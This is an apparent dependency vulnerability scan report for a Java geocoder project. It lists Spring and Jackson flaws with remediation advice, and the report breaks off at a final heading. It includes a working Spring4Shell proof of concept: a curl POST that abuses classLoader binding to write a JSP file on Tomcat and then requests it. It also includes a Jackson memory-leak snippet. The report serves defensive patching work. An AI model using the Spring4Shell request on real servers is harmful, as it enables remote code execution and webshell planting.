Vulnerabilities

25 via 58 paths

Dependencies

11

Source

GitHub

Commit

68b958e6

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 7
  • 13
  • 4
Status
  • 25
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-beans@5.2.6.RELEASE, org.springframework:spring-context@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@5.2.20.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.20.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application (TomCat), or download arbitrary files from the server (Payara/Glassfish).

Note:

  • Current public exploits require victim applications to be built with JRE version 9 (or above) and to be deployed on either Tomcat, Payara, or Glassfish.

  • However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.

  • As such, while we recommend users prioritize first remediating against the configuration described above, for full protection, we also recommend upgrading all vulnerable versions to the fixed spring-beans version regardless of the application configuration.

Update Log

  • 31/03/2022 - Severity was raised from 8.1 to 9.8
  • 08/04/2022 - Advisory was updated to reflect that Snyk's security research team was able to author a working PoC of this vulnerability against applications that are deployed on Payara (which is based on Glassfish).

PoC

1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
  -H "pre:<%" \
  -H "post:;%>" \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp

Remediation

Upgrade org.springframework:spring-beans to version 5.2.20, 5.3.18 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0 com.fasterxml.jackson.core:jackson-core@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0 com.fasterxml.jackson.core:jackson-core@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.9.RELEASE.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.

Remediation

Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.

References

high severity
new

Relative Path Traversal

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-beans@5.2.6.RELEASE, org.springframework:spring-context@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@6.2.10.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.10.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@6.2.10.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.10.

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.

Notes:

  1. This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.

  2. Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.

  3. This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.

Remediation

Upgrade org.springframework:spring-beans to version 6.2.10 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.3.32.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.

Remediation

Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.3.33.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.3.38.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the If-Match or If-None-Match request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.

Workaround

Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-web to version 5.3.38, 6.0.23, 6.1.12 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.24.RELEASE.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) when using JDK serialization to serialize and deserialize JsonNode values. It is possible for the attacker to send a 4-byte length payload, with a value of Integer.MAX_VALUE , that will eventually cause large buffer allocation and out of heap memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.13.1, 2.12.6 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.3.34.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.34, 6.0.19, 6.1.6 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-beans@5.2.6.RELEASE, org.springframework:spring-context@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@5.2.22.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.22.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.22.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.22.RELEASE.

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Denial of Service (DoS) if it relies on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-beans to version 5.2.22.RELEASE, 5.3.20 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.23.RELEASE.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.springframework:spring-context@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.11.0

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 com.fasterxml.jackson.core:jackson-databind@2.11.0 com.fasterxml.jackson.core:jackson-core@2.11.0
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.13.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.

Workaround

This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.

PoC


byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.15.RELEASE.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Privilege Escalation. By recreating the temporary storage directory, a locally authenticated malicious user can read or modify files that have been uploaded to the WebFlux application, or overwrite arbitrary files with multipart request data.

Remediation

Upgrade org.springframework:spring-web to version 5.3.7, 5.2.15.RELEASE or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-core@5.2.6.RELEASE, org.springframework:spring-beans@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-core@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.19.RELEASE.

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Input Validation when a user provides malicious input, causing insertion of additional log entries.

Remediation

Upgrade org.springframework:spring-core to version 5.2.19.RELEASE, 5.3.14 or higher.

References

medium severity

Improper Output Neutralization for Logs

